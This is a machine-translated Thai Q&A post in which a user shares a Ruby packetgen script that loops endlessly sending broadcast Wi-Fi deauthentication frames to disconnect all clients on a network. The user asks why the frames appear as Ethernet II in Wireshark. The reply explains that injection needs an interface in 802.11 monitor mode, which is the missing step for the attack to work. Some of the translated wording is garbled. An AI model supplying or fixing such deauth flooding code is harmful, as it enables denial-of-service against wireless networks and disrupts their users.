Deauth frames แสดงเป็น ethernet II frames ภายใต้ wirshark


0

ฉันพยายามเขียนสคริปต์โจมตี deauth อย่างง่าย ๆ แต่เมื่อฉันดับไฟ wireshark แทนที่จะเป็นเฟรม deauth ฉันเห็นเฉพาะเฟรม Ethernet II เท่านั้น นอกจากนี้เฟรมจะไม่มีผลกับอุปกรณ์ใด ๆ ในเครือข่ายของฉัน เป็นเพราะฉันใช้ wireshark ในโหมด promiscuous หรือเป็นปัญหากับการกำหนดค่าเครือข่ายหรือสคริปต์ของฉัน รหัสด้านล่างและภาพหน้าจอที่อยู่ในการเชื่อมโยงไปยังคำถามที่คล้ายกันผมถามในกองล้นที่นี่

require 'packetgen'

 def deauth()
    network = 'wlp2s0'
    yes = 'y'
    no = 'n'
    broadcast = 'FF:FF:FF:FF:FF:FF'
    print 'Do you want to deauth network?[y/n]'
    input = gets.chomp
    if input == yes or yes.upcase!
        puts 'Deauthing all network clients...'
        while true
            PacketGen.gen('Dot11::Management', mac1: broadcast).
            add('Dot11::DeAuth').
            to_w(network)
            end
    elsif input == no or no.upcase!
        print 'Okay :('
        end
    end
deauth()

คำตอบ:


0

ตรวจสอบให้แน่ใจว่าคุณกำลังฉีดแพ็กเก็ตลงในอินเทอร์เฟซที่อยู่ในโหมดจอภาพ 802.11 มิฉะนั้นอินเทอร์เฟซจะสมมติว่าคุณกำลังฉีดแพ็คเก็ตอีเทอร์เน็ตแบบใช้สาย 802.3 แล้วปฏิบัติต่อเช่นนี้


หากการแก้ไขปัญหาของคุณสิ้นสุดลงโปรดคลิกเครื่องหมายถูกที่อยู่ถัดจากคำตอบนี้เพื่อทำเครื่องหมายว่าแก้ไขแล้ว
Spiff
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.